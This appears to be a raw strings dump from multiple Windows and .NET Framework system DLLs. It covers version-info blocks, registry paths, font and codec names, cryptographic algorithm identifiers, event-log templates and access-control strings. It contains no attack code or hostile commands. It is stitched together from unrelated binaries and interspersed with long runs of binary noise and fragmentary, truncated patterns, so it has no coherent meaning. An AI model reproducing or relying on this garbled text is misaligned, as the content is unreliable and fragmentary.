LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename System.Xml.Linq.dll ProductName Microsoft .NET Framework ProductVersion 4.8.9221.0 Comments Flavor=Retail PrivateBuild DDBLD299B VarFileInfo Translation $9W_ekry P!Q-R-S-T-U-V-W-X6Y7Z8[9\?]C p p!\"\#\$p%p&p http://www.w3.org/2001/XMLSchema-instance type InvalidOperation_MissingRoot InvalidOperation_MissingParent InvalidOperation_BadNodeType xmlns source schemas partialValidationType NotSupported_CheckValidity NotSupported_MoveToId http://www.w3.org/2000/xmlns/ http://www.w3.org/XML/1998/namespace InvalidOperation_UnexpectedEvaluation node Argument_CreateNavigator expandedName Argument_InvalidExpandedName info name localName namespaceName annotation InvalidOperation_MissingAncestor reader InvalidOperation_ExpectedInteractive InvalidOperation_UnexpectedNodeType InvalidOperation_ExternalCode Argument_MustBeDerivedFrom value other writer Argument_XObjectValue Argument_ConvertToString PUBLIC SYSTEM InvalidOperation_UnresolvedEntityReference Argument_AddAttribute default prefix Argument_InvalidPrefix InvalidOperation_ExpectedNodeType InvalidOperation_ExpectedEndOfFile element InvalidOperation_DeserializeInstance InvalidOperation_DuplicateAttribute Argument_AddNode InvalidOperation_DocumentStructure Argument_AddNonWhitespace data Argument_InvalidPIName version encoding standalone ?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrst VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Microsoft Windows Codecs Library FileVersion 10.0.26100.7705 (WinBuild.160101.0800) InternalName WindowsCodecs LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename WindowsCodecs ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7705 VarFileInfo Translation ntdll.dll %hs(%u)\%hs!%p: %hs!%p: (caller: %p) %hs(%d) tid(%x) %08X %ws Msg:[%ws] CallContext:[%hs] [%hs(%hs)] [%hs] kernelbase.dll Local\SM0:%lu:%lu:%hs VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Microsoft Text Shaping Library FileVersion 10.0.26100.7309 (WinBuild.160101.0800) InternalName textshaping LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename textshaping ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7309 VarFileInfo Translation #%*-/24:>EGNUZ\chmrwz| *?80;@ en-us Software\Microsoft\DirectWrite FontFallback SYSTEM\CurrentControlSet\Services\FontCache\Parameters ClientCacheSize ext-ms-win-gdi-dc-create-l1-1-0 ext-ms-win-gdi-dc-create-l1-1-1 ext-ms-win-gdi-dc-create-l1-1-2 ext-ms-win-gdi-font-l1-1-0 ext-ms-win-gdi-font-l1-1-1 ext-ms-win-gdi-font-l1-1-2 ext-ms-win-gdi-font-l1-1-3 EUDC %hs(%u)\%hs!%p: %hs!%p: (caller: %p) %hs(%d) tid(%x) %08X %ws Msg:[%ws] CallContext:[%hs] [%hs(%hs)] [%hs] ntdll.dll kernelbase.dll IGammaLevel PixelStructure ClearTypeLevel EnhancedContrastLevel GrayscaleEnhancedContrastLevel Software\Microsoft\Avalon.Graphics InputAssertEnabled fFONTFALLBACK Fallback rSkia-Regular semi cond wide narrow compact expanded extended condensed compressed bold light medium face oman egular ital italic kursiv inclined dSegoe UI Times New Roman Arial SOFTWARE\Microsoft\Windows NT\CurrentVersion\Fonts FONTS\ WINDOWS\ PROGRAM FILES\ USERS\ PROGRAM FILES (X86)\ Software\Microsoft\Avalon.Graphics EUDC\ kernel32.dll Segoe UI Accept-Encoding: gzip, deflate Origin: file: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.79 Safari/537.36 Edge/14.14931 font-family stretch weight style semi-expanded https FontCache \BaseNamedObjects\FontCachePort \\\\\\\\\\\h\\\\\\\\\\\\\\\hk\\\\\\\\\\\\\\h\\\\\\\\\\\\\\\h\\\\\\\\\\\\\\\h\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ijjlmnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn ==== ==== pqrstuuuuuvuuwxyz{|}~ uuuuuuuuuu xxxxxxxxxxxxxxx xxxxxxxxxxxxxxx !"#$% &'()*+,-. 3456789: @ABC FGHI _Courier New Fixed Miriam Transparent Miriam Fixed Rod Transparent Simplified Arabic Fixed Aran Arab Cyrs Cyrl Hanb Hani Bopo Hans Hant Hrkt Hira Kana Jamo Hang Jpan Kore Latf Latn Latg Syre Syrc Syrj Syrn Zsye Zsym mn-mong ar-ma SystemDefaultEUDCFont EUDC.TTE Local\SM0:%lu:%lu:%hs Regular !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~ ARIAL.TTF SEGOEUI.TTF MARLETT.TTF \UNC\ \\?\ \\?\UNC\ ::$DATA \\?\Volume {00000000-0000-0000-0000-000000000000} SIAMDB SIAMSPL SIAMMAIN -@H[nsx{ !!""##$$%%&&''(())**++,,--..//00112233445566778899::;;<<==>>??@@ O[[\\]]^^__ z{{||}}~~ SIAMDB SIAMMAIN SIAMSPL FONTFALLBACK FALLBACK VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Microsoft DirectX Typography Services FileVersion 10.0.26100.7824 (WinBuild.160101.0800) InternalName DWrite LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename DWrite ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7824 VarFileInfo Translation Myanmar Text Malgun Gothic Gulim Gadugi Khmer UI DaunPenh Mongolian Baiti Microsoft Tai Le Microsoft New Tai Lue zh-hans Microsoft YaHei UI Microsoft YaHei Yu Gothic UI Meiryo UI Meiryo SimSun MS Gothic MingLiU Tahoma zh-hant Microsoft JhengHei UI Microsoft JhengHei Cambria Math Times New Roman MingLiu PMingLiU SimSun-18030 SimSun-ExtB zh-hk MingLiU_HKSCS Simsun Microsoft Yi Baiti Microsoft PhagsPa Javanese Text zh-cn MS Mincho MingLiU_HKSCS-ExtB MingLiU-ExtB Simsun-ExtB Yu Gothic SimSun-ExtG MingLiU_MSCS-ExtB Arial Traditional Arabic Arial Unicode MS Microsoft Sans Serif Lucida Sans Unicode Sylfaen Estrangelo Edessa Mangal Vrinda Raavi Shruti Kalinga Latha Gautami Tunga Kartika Iskoola Pota Leelawadee Lao UI DokChampa Nyala Plantagenet Cherokee Euphemia FONTFALLBACK SIAMDB en-US YImageQuality /grctlext/disposal /grctlext/delay /imgdesc/Top /imgdesc/Left rCourier New .APM .WMF /logscrdesc/Width /logscrdesc/Height /appext/application /grctlext/TransparencyFlag /logscrdesc/GlobalColorTableFlag /logscrdesc/BackgroundColorIndex /app1 /com /app2 /app13 /chrominance /luminance /TableEntry /ifd /commentext/TextEntry /RenderingIntent 0/appext/data Microsoft Sans Serif API-MS-Win-Core-LocalRegistry-L1-1-0.dll FilterOption intl %hs(%u)\%hs!%p: %hs!%p: (caller: %p) %hs(%d) tid(%x) %08X %ws Msg:[%ws] CallContext:[%hs] [%hs(%hs)] [%hs] ntdll.dll kernelbase.dll Local\SM0:%lu:%lu:%hs GDI+ Hook Window GDI+ Hook Window Class %s (%s) GDI+ Accessibility en-us Ygdi32.dll Marlett SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontSubstitutes SOFTWARE\Microsoft\Windows NT\CurrentVersion\FontLink\SystemLink GDI32.DLL /[*]tEXt/{str=Comment} /[*]tEXt/{str=Title} /[*]tEXt/{str=Author} /[*]tEXt/{str=Copyright} /[*]tEXt/{str=Description} /[*]tEXt/{str=CreationTime} /[*]tEXt/{str=Software} /[*]tEXt/{str=Source} /gAMA/ImageGamma /iCCP/ProfileData /iCCP/ProfileName /cHRM/WhitePointX /cHRM/WhitePointY /cHRM/RedX /cHRM/RedY /cHRM/GreenX /cHRM/GreenY /cHRM/BlueX /cHRM/BlueY /tIME/Year /tIME/Month /tIME/Day /tIME/Hour /tIME/Minute /tIME/Second BitmapTransform /app1/ifd/exif/{ushort=%d} /app1/ifd/exif/interop/{ushort=1} /app1/ifd/exif/interop/{ushort=2} /app1/ifd/gps/{ushort=%d} /app1/thumb/{ushort=%d} /app1/thumb/{} /app1/ifd/{ushort=%d} /ifd/{ushort=%d} /grctlext/TransparentColorIndex /ifd/exif/{ushort=%d} /ifd/exif/interop/{ushort=1} /ifd/exif/interop/{ushort=2} /ifd/gps/{ushort=%d} HeifCompressionMethod tEXt /gAMA /hIST /tIME /sRGB /srGB /unknown /iCCP /cHRM WindowsCodecs.dll /{ushort= /ImageGamma /OffsetSchema:offset GDI+ Window &SimSun Microsoft YaHei Segoe UI Symbol \fonts EUDC\ Built-in BMP Codec *.BMP;*.DIB;*.RLE image/bmp Built-in JPEG Codec JPEG *.JPG;*.JPEG;*.JPE;*.JFIF image/jpeg Built-in GIF Codec *.GIF image/gif Built-in EMF Codec *.EMF image/x-emf Built-in WMF Codec *.WMF image/x-wmf Built-in TIFF Codec TIFF *.TIF;*.TIFF image/tiff Built-in PNG Codec *.PNG image/png Built-in ICO Codec *.ICO image/x-icon Built-in HEIC Codec HEIC *.HEIC;*.HIF image/heic Built-in AVIF Codec AVIF *.AVIF image/avif Built-in WEBP Codec WEBP *.WEBP image/webp acccccaacccaaaaaP%P%P%P%P%PPPPPPPPPPPPPPPPPPPPPPPPP%PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP%P%P%PPPPPP%PPPPPPPPPP$$ PR#R#R#R#R#RRRRRRRRRRRRRRRRRRRRRRRRR#RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR#R#R#RRRRRR#RRRRRR##RRRR+#!!R (aeFMaa e8dllllllllll0/aaa(annnnnnnnnnnnnnnnnnnnnnnnnn aaannnnnnnnnnnnnnnnnnnnnnnnnn *Q""""""""""QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ MFaaaFF ``````` SSSS kkkkkkkkkk,- mmmmmmmmmmmmmmmmmmmmmmmmmm mmmmmmmmmmmmmmmmmmmmmmmmmm SHATA SJTjjS SSSji SSSS WWWW SWWW Arial Tahoma Times New Roman Lucida Console MEMORY-%u Rod Transparent Fixed Miriam Transparent Miriam Fixed Simplified Arabic Fixed rMS UI Gothic Gulim PMingLiu Simsun MS Shell Dlg SystemDefaultEUDCFont SOFTWARE\Microsoft\Windows NT\CurrentVersion\LanguagePack\SurrogateFallback plane Segoe UI Segoe UI Historic Nirmala UI Leelawadee UI Gadugi Ebrima Mv Boli Microsoft Himalaya Mongolian Baiti Microsoft Yi Baiti Myanmar Text SIAMDB SIAMMAIN mso.dll usp10.dll SIAMSPL ]]]]]]]]]]]]]]]]]]]]]]]] CLSID Format ID Version Flags DLLNAME File Type Description Filename Extension MIME Type Signature Count Signature Size Signature Pattern Signature Mask _LastCookie _InfoSize Software\Microsoft\Imaging\Codecs rswop.icm sRGB Color Space Profile.icm mscms.dll SuppressApp0 Luminance Chrominance TiffCompressionMethod /{str=Comment} /{str=Title} /{str=Author} /{str=Copyright} /{str=Description} /{str=CreationTime} /{str=Software} /{str=Source} /Frequencies /Year /Month /Day /Hour /Minute /Second /ProfileName /ProfileData /WhitePointX /WhitePointY /RedX /RedY /GreenX /GreenY /BlueX /BlueY /irb/8bimResInfo/HResolutionUnit /irb/8bimResInfo/VResolutionUnit /irb/8bimResInfo/HResolution /irb/8bimResInfo/VResolution /TextEntry advapi32.dll !#"$ %&'()*+,-./0123456789:;<=> ?@ABCDEFGHIJKL MNOPQSRTUVWXYZ[\]^_`dabcefghiljkmnopqrstuvwxyz{~|} EWX+8NZ0[< ?J/; !"",%,!_ EX+8[0/<; SIAMDB SIAMMAIN SIAMSPL KERNEL32.DLL KERNELBASE.DLL ekernel32.dll mscoree.dll (null) api-ms-win-core-guard-l1-1-0.dll April June July August September October November December MM/dd/yy dddd, MMMM dd, yyyy HH:mm:ss USER32.DLL eCONOUT$ OLE32.DLL MRUList VS_VERSION_INFO StringFileInfo FileVersion JanFebMarAprMayJunJulAugSepOctNovDec ShellGetDragImage Control Panel\Desktop SmoothScroll AppEvents\Schemes\Apps\.Default\%s\.current Software\Microsoft\Windows NT\CurrentVersion\FontSubstitutes Helv Ms Sans Serif Ms Serif Tahoma USER32 winmm.dll MS Shell Dlg MS Shell Dlg 2 Static msctls_hotkey32 KERNEL32 shell32.dll MS UI Gothic 0x%08X 0x%04X listbox commctrl_DragListMsg MARLETT imm32.dll LPK.DLL ToolbarWindow32 ReBarWindow32 tooltips_class32 msctls_statusbar32 SysListView32 SysHeader32 SysTabControl32 SysTreeView32 msctls_trackbar32 msctls_updown32 msctls_progress32 SysAnimate32 SysDateTimePick32 SysMonthCal32 ComboBoxEx32 SysIPAddress32 SysPager NativeFontCtl ComboBoxEx32 combobox tShell msctls_statusbar32 tooltips_class32 ToolbarWindow32 msctls_updown32 EDIT CC32SubclassInfo msctls_progress32 msctls_trackbar32 msctls_hotkey32 CCSelect ReBarWindow32 SysTreeView32 SysHeader32 SysListView32 SysTabControl32 ShowBand MMMM yyyy Intl 0000 %s %s EDIT %%0%dd SysDateTimePick32 SysMonthCal32 Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced UseDoubleClickTimer Software\Microsoft\Windows\CurrentVersion\Explorer\NoFirstClickActivate OLE32 %d.%d.%d.%d Edit IMECompPos RichEdit20A RichEdit20W Button ListBox ComboBox %hs(%u)\%hs!%p: %hs!%p: (caller: %p) %hs(%d) tid(%x) %08X %ws Msg:[%ws] CallContext:[%hs] [%hs(%hs)] [%hs] ntdll.dll kernelbase.dll 3Local\SM0:%lu:%lu:%hs jjjjj #$%&'()*+,-./0123456789:;<=>?@ABCDIJKLMNO STUV abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ gyMdthHmsX SysAnimate32 ABCDEFGHIJKLMNOPQRSTUVWXYZ123456 VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription .NET Framework FileVersion 4.8.9221.0 built by: NET481REL1LAST_25H2 InternalName System.Xml.dll LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename System.Xml.dll ProductName Microsoft .NET Framework ProductVersion 4.8.9221.0 Comments Flavor=Retail PrivateBuild DDBLD299B VarFileInfo Translation ^K_Y_g_ !#%( !$)-289;?CG 94), &!FB* <3$D2 "$%&((*,.13467:AEIMQUY]aeiloqrtvxyz{} whxtyu2zvr %&'(F)5 9 :!;n"< #=i >j #'*,-/ "'*/26<@FJN 39@D 4;AE "5GM #+HK $-8I ,.J /6:< #(.259< ")/5;AEHKPRVX[]_aehknquy} /Obl !0Pcv 1Qdw 2RWex "3X^fy #4Ygz $5Zh{ %6[i|&7\j} '8k~9] ?U @ +KSTu Comment Xml_InvalidCharacter CDATA xmlns XmlCharType.bin http://www.w3.org/2000/xmlns/ http://www.w3.org/XML/1998/namespace utf-8 Xml_MissingRoot utf-16 utf-16BE MaxCharactersInDocument MaxCharactersFromEntities Xml_LimitExceeded [^)]+)[)])?(?[^[]+)[[](?.+)[]][)]? [(][(](?[^)]+)[)](?[^)]+)[)] Nullable`1 WriteXsiType isNullable needType GetType WriteTypedPrimitive set_EscapeName GetTypeFromHandle get_Writer WriteString WriteAttribute ToString WriteValue get_Length WriteStartAttribute Append WriteEndAttribute WriteXmlAttribute op_Implicit From e.Current GetEnumerator MoveNext get_Count WriteEndElement CreateInvalidChoiceIdentifierValueException fixup.Source op_Inequality localTmp strArray longArray FromEnum get_InvariantCulture CreateInvalidEnumValueException InitCallbacks Read get_Reader UnknownNode(null, MoveToContent throw CreateUnknownNodeException(); choice_ EnsureArrayIndex( 0123456789ABCDEF get_NodeType Reader set_IsReturnValue state get_IsReturnVa 0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12} guid http://microsoft.com/wsdl/types/ Guid char Char Switch.System.Xml.EnableTimeSpanSerialization http://schemas.xmlsoap.org/soap/encoding/ normalizedString TimeSpan TestSwitch.LocalAppContext.DisableCaching System.AppContext TryGetSwitch .NETFramework Version Profile .NETCore Switch.System.Xml.IgnoreKindInUtcTimeSerialization Switch.System.Xml.DontThrowOnInvalidSurrogatePairs Switch.System.Xml.IgnoreEmptyKeySequences WindowsPhone WindowsPhoneApp arrayCoordinate base64 XmlSerializerContract XmlSerializerExpiredDetails XmlPregenCannotLoad kernel32.dll GetCurrentPackageId XmlSerialization.PregenEventLog Log failures while loading pre-generated XmlSerialization assembly. .XmlSerializers Microsoft.Xml.Serialization.GeneratedAssembly. System.XmlIgnoreMemberAttribute XmlUnsupportedInterfaceDetails XmlSerializerUnsupportedType XmlTypeStatic XmlUnsupportedRank XmlUnsupportedInterface XmlTypeInaccessible ArrayOf Item XmlConstructorInaccessible http://www.w3.org/2003/05/soap-encoding xmlSerializer system.xml.serialization checkDeserializeAdvances tempFilesLocation useLegacySerializerGeneration anyType http://www.w3.org/2000/10/XMLSchema http://www.w3.org/1999/XMLSchema http://www.w3.org/2000/10/XMLSchema-instance http://www.w3.org/1999/XMLSchema-instance schema http://schemas.xmlsoap.org/wsdl/ arrayType null type itemType arraySize Array {0}/{1} version= encoding= standalone= Prolog PostDTD Element Content AttrOnly Epilog Doctype CData LongEndElement Empty apos quot xmlns xml:lang xml:space Xml_InvalidSurrogateHighChar Start Attribute Closed Error StartElement EndElement StartAttribute EndAttribute Base64 RawData Whitespace default preserve space lang http://www.w3.org/2001/XMLSchema http://www.w3.org/2001/XMLSchema-instance #document #document-fragment #comment #text #cdata-section #entity #whitespace #significant-whitespace Xml_CannotResolveUrl file false true SOFTWARE\Microsoft\.NETFramework\XML EnableLegacyXmlSettings ECDSA ECDSA_P256 ECDSA_P384 ECDSA_P521 ECDH ECDH_P256 ECDH_P384 ECDH_P521 AES-GMAC 3DES DESX 3DES_112 SHA1 SHA256 SHA384 SHA512 SP800_108_CTR_HMAC SP800_56A_CONCAT PBKDF2 CAPI_KDF CHACHA20_POLY1305 SHA3-256 SHA3-384 SHA3-512 CSHAKE128 CSHAKE256 KMAC128 KMAC256 SHAKE128 SHAKE256 ML-DSA ML-KEM NULL KeyLength RSA_SIGN AES-CMAC FIPS186DSARNG DUALECRNG TLS1_1_KDF TLS1_2_KDF XTS-AES HKDF ChainingModeECB ChainingModeCFB ChainingModeCCM ChainingModeGCM ChainingMode ObjectLength MultiObjectLength LMicrosoft Primitive Provider HashBlockLength PaddingSchemes ProviderHandle PrimitiveType IsKeyedHash HashDigestLength KeyStrength Rfc3565KeyWrapBlob CAPIPUBLICBLOB CAPIPRIVATEBLOB RSAFULLPRIVATEBLOB CAPIDSAPUBLICBLOB CAPIDSAPRIVATEBLOB V2CAPIDSAPUBLICBLOB V2CAPIDSAPRIVATEBLOB CAPIDHPUBLICBLOB CAPIDHPRIVATEBLOB PKCS11RsaAesWrapBlob RSAPRIVATEBLOB DSAPRIVATEBLOB DHPRIVATEBLOB AlgorithmName KeyDataBlob BlockLength \Registry\Machine\System\CurrentControlSet\Control\Lsa\FipsAlgorithmPolicy Enabled \Registry\Machine\System\CurrentControlSet\Control\Lsa FipsAlgorithmPolicy MDMEnabled HashOIDList RSAPUBLICBLOB DSAPUBLICBLOB DHPUBLICBLOB \Device\KsecDD tbcrypt.dll bcryptprimitives.dll SummaryCount NumLargeEventFailures NumAllocationFailures NumBucketLimitReached MinEntriesFlushed MaxEntriesFlushed TotalEntriesFlushed MaxEntriesStored NumFlushes csvchost %ls[%ls] !"#$%&'()*+,-./0123456789:; mRemoteNG WEVT_TEMPLATE VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Windows Cryptographic Primitives Library (Wow64) FileVersion 10.0.26100.7623 (WinBuild.160101.0800) InternalName bcrypt.dll LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename bcrypt.dll ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7623 VarFileInfo Translation Microsoft-Windows-Crypto-BCRYPT/Analytic OpenAlgorithmProviderFailureMap EventData Data Name ProviderName Data Name AlgorithmName Data Name dwFlags Data Name Status Data Name OperationType ProviderName AlgorithmName dwFlags Status OperationType Microsoft-Windows-Crypto-BCrypt win:Info win:Error WEVT_TEMPLATE en-US HashDigestLength RSAPUBLICBLOB CAPIPRIVATEBLOB Opened file in storage area successfully. Successfully created file. %08lx%08lx%08lx%08lx \Microsoft\Crypto\RSA\ MachineKeys SHA1 SHA512 SHA384 SHA256 NULL Successfully read container info. S-1-15-3-1024-950745478-3562277873-4084666094-894910038-3455483509-2403009927-1209652952-3346094864 SummaryCount NumLargeEventFailures NumAllocationFailures NumBucketLimitReached MinEntriesFlushed MaxEntriesFlushed TotalEntriesFlushed MaxEntriesStored NumFlushes 3DES 3DES_112 Export Flag D:P(A;OICI;FA;;;SY)(A;OICI;FA;;;BA) S-%lu- 0x%02hx%02hx%02hx%02hx%02hx%02hx -%lu \Microsoft\Crypto\DSS\ \AppData\Roaming Failed to get user storage area because the profile is temporary. Failed to get user storage area because no user is currently logged in. Failed to get user storage area. Failed to open file in storage area due to sharing violation. Failed to open file in storage area. Access denied. Failed to open file in storage area because the file was not found. Failed to open file in storage area. Deleted file in storage area successfully. Failed to delete file in storage area due to sharing violation. Failed to delete file in storage area. Access denied. Failed to delete file in storage area because the file was not found. Bad keyset. Failed to delete file in storage area. Deleted key container successfully. Failed to delete key container due to sharing violation. Failed to delete key container. Access denied. Failed to delete key container because the file was not found. Bad keyset. Failed to delete key container. MyCreateFile failed due to sharing violation. MyCreateFile failed. Access denied. MyCreateFile failed to open file because the file was not found. Failed to create file. Successfully set security on container. Failed to set security on container. Successfully deleted file. Failed to delete file. Failed to read container info. Successfully wrote container info. Failed to write container info. Successfully deleted container info. Failed to delete container info. EffectiveKeyLength ChainingModeCBC ChainingMode ChainingModeECB ChainingModeCFB jjjjj jjjjjjj WEVT_TEMPLATE VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Microsoft Enhanced Cryptographic Provider FileVersion 10.0.26100.7705 (WinBuild.160101.0800) InternalName rsaenh.dll LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename rsaenh.dll ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7705 VarFileInfo Translation Microsoft-Windows-Crypto-RSAEnh/Analytic RSAEnhOperationType EventData Data Name OperationType Data Name ProcessName Data Name Status OperationType ProcessName Status EventData Data Name ProcessName Data Name ProviderType Data Name MachineKeyset Data Name AppContainer Data Name Status Data Name ErrorDescription ProcessName ProviderType MachineKeyset AppContainer Status ErrorDescription EventData Data Name ProcessName Data Name MachineKeyset Data Name DesiredAccess Data Name UserStorageArea Data Name FileName Data Name Status Data Name ErrorDescription ProcessName MachineKeyset DesiredAccess UserStorageArea FileName Status ErrorDescription NULL {34e4912d-f770-4f49-b020-96dd74c99d01} Provider name can not be accessed Microsoft Primitive Provider ntdll.dll yyyy-MM-dd HH:mm:ss %s %s svchost.exe dllhost.exe SYSTEM\CurrentControlSet\Control\Cryptography SYSTEM\CurrentControlSet\Control\Cryptography\CertInUse ClientSideEventThrottlingMinutes ClientEnable Failed to initialize StartRegistryChangeMonitor {"provider":"%s", "errorCode":"0x%x", "errorMessage":"%s"} {"procStart":"%s", "procPath":"%s", "serviceName":"%s", "provider":"%s", "keyId":"%s", "sign":%d, "decrypt":%d, "ephemeral":%d, "firstUse":"%s", "lastUse":"%s"} Failed to Log CertInUse ETW Event Metadata Allocation Failed. Key Material perparation failed. Key Material hash failed. RSAPUBLICBLOB SOFTWARE\Microsoft\SystemCertificates\Root\Certificates\2BD63D28D7BCD0E251195AEB519243C13142EBC3 SOFTWARE\Microsoft\SystemCertificates\Root\Certificates\8A334AA8052DD244A647306A76B8178FA215F344 System\Setup SystemSetupInProgress HashDigestLength SHA1 SHA256 SHA384 SHA512 !"#$%&'()*+,-./0123456789:;<=>?@ VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Cryptographic Service Provider API FileVersion 10.0.26100.7705 (WinBuild.160101.0800) InternalName cryptsp.dll LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename cryptsp.dll ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7705 VarFileInfo Translation \\.\PHYSICALDRIVE%u .avhdx vhds _%08lx-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x NULL \\.\PHYSICALDRIVE%d \\.\CDROM%d \\.\VDRVROOT \Device\Mup \\.\CDROM%u \Device\ \Device\Harddisk \Device\CdRom \Device\CSVVolume \\?\GLOBALROOT :SharedVirtualDisk WEVT_TEMPLATE VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Virtual Disk API DLL FileVersion 10.0.26100.5074 (WinBuild.160101.0800) InternalName VIRTDISK.DLL LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename VIRTDISK.DLL ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.5074 VarFileInfo Translation Start Stop Critical Error Warning Information Open virtual disk. Attach virtual disk. Detach virtual disk. Microsoft-Windows-VIRTDISK Microsoft-Windows-VIRTDISK-Analytic Opening backing store %1 as type %2. Opened backing store, returning handle %1, status %2. Attaching using handle %1. Attached with status %1. Detaching using handle %1. Detached with status %1. UNKNOWN Microsoft-Windows-VIRTDISK-Analytic VirtualStorageTypeMap EventData Data Name VhdFileName Data Name VhdVirtualStorageType VhdFileName VhdVirtualStorageType EventData Data Name VhdHandle Data Name VhdStatus VhdHandle VhdStatus EventData Data Name VhdHandle VhdHandle EventData Data Name VhdStatus VhdStatus VmlDebugTrace xmlns 6http://www.microsoft.com/Windows/Virtualization/Events TraceData VmName VmId StackFrameCount StackFrame ModuleCount Global\ ProgramData Local\ folder \EXPLORER.EXE Descending Center Right Left Ascending other item AlphaNumericEnum%02u System.StructuredQueryType.SortKeyDescription System.StructuredQueryType.StringRange %lu %lu Windows.Internal.StateRepository.FileTypeAssociation %s:PID %s:FMTID %s\%s.%1d.ver0x* %s.%1d.ver0x%08x%08x.db S-1-15-3-1024-1502825166-1963708345-2616377461-2562897074-4192028372-3968301570-1997628692-1435953622 O:SYG:SYD:AI(A;OICIID;FA;;;SY)(A;OICIID;FA;;;BA)(A;OICIID;0x1200a9;;;BU)(A;OICIID;0x1200a9;;;WD) O:SYG:SYD:AI(A;;FR;;;AC)(A;;FR;;;S-1-15-3-1024-1502825166-1963708345-2616377461-2562897074-4192028372-3968301570-1997628692-1435953622)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;WD) ntdll.dll propsys.dll .local Software\Microsoft\Windows\CurrentVersion\Explorer\KindMap Content Type PropStoreOverFolder music;picture;document;movie;recordedtv;video;email;contact;calendar;task;folder prop: @propsys.dll,- %s%s*%s %s\%s Microsoft\Windows\Caches LOCALAPPDATA PropStoreOverFolderFinal true false typeInfo/@dontCoerceEmptyStrings typeInfo/@includeInFullTextQuery typeInfo/@alwaysInSupplementalStore displayInfo/enumeratedList/@useValueForDefault typeInfo/@isGroup typeInfo/@isInnate typeInfo/@isViewable typeInfo/@canStackBy typeInfo/@canGroupBy typeInfo/@isQueryable typeInfo/@canBePurged typeInfo/@searchRawValue typeInfo/@isTreeProperty typeInfo/@multipleValues displayInfo/@defaultColumnWidth typeInfo/@isNonStreamPIIProperty labelInfo/@hideLabel String Boolean Null Int32 UInt32 DateTime Int64 UInt64 Double Number Byte Int16 UInt16 Enumerated Discrete Guid namedEntity/@name valuedEntity/@value Alphanumeric First Default Blob Dynamic Buffer Average DateRange Union General Percentage ByteSize Path Rating IconList Hyperlink StaticText PercentBar ProgressBar MultiLineText MultiValueText BooleanCheckMark YesNo Object KBSize SampleSize Bitrate FileName Date Size Stream SampleRate FilePath FrameRate Pixels Count Percent Revision Rate None Speed hh:mm Equal Length Duration hh:mm:ss NamedValueEnd HideTime LongTime ShortTime http://schemas.microsoft.com/windows/2006/propertydescription schema Clipboard %02x api-ms-win-core-synch-l1-2-0.dll kernel32.dll %hs(%u)\%hs!%p: %hs!%p: (caller: %p) %hs(%d) tid(%x) %08X %ws Msg:[%ws] CallContext:[%hs] [%hs(%hs)] [%hs] kernelbase.dll ent.HiddenSlideCount System.Document.TotalEditingTime System.Image.HorizontalResolution System.Document.MultimediaClipCount Rank Year Type Name link task Genre Track Album Flash Scale Owner Write email movie video music Lyrics Artist ImageY ImageX Create Attrib Access system hidden stream Manager Company Project FaxCSID FaxTSID FaxTime FNumber nonenum fileanc filesys contact picture Software FileType Capacity Channels ISOSpeed Distance Aperture BitDepth DocTitle calendar document CSCStatus FreeSpace EquipMake Protected Data Rate WhenTaken DocAuthor Directory AllocSize browsable LinkTarget FileSystem SyncCopyIn FaxRouting Play Count Frame Rate Dimensions FrameCount ColorSpace DocSubject DocManager DocCompany DocAppName Attributes storageanc recordedtv DateDeleted DeletedFrom ProductName FileVersion FaxCallerID Play Starts Stream Name Sample Rate LightSource FlashEnergy FocalLength ResolutionY ResolutionX CameraModel MMClipCount System.Size DocTemplate DocKeywords DocEditTime DocComments DocCategory placeholder superhidden Play Expires Audio Format ExposureBias ExposureProg MeteringMode ExposureTime ShutterSpeed DocWordCount System.Title DocRevNumber DocParaCount DocPageCount DocNoteCount DocLineCount DocCreatedTm DocCharCount DocByteCount System.Status FaxSenderName 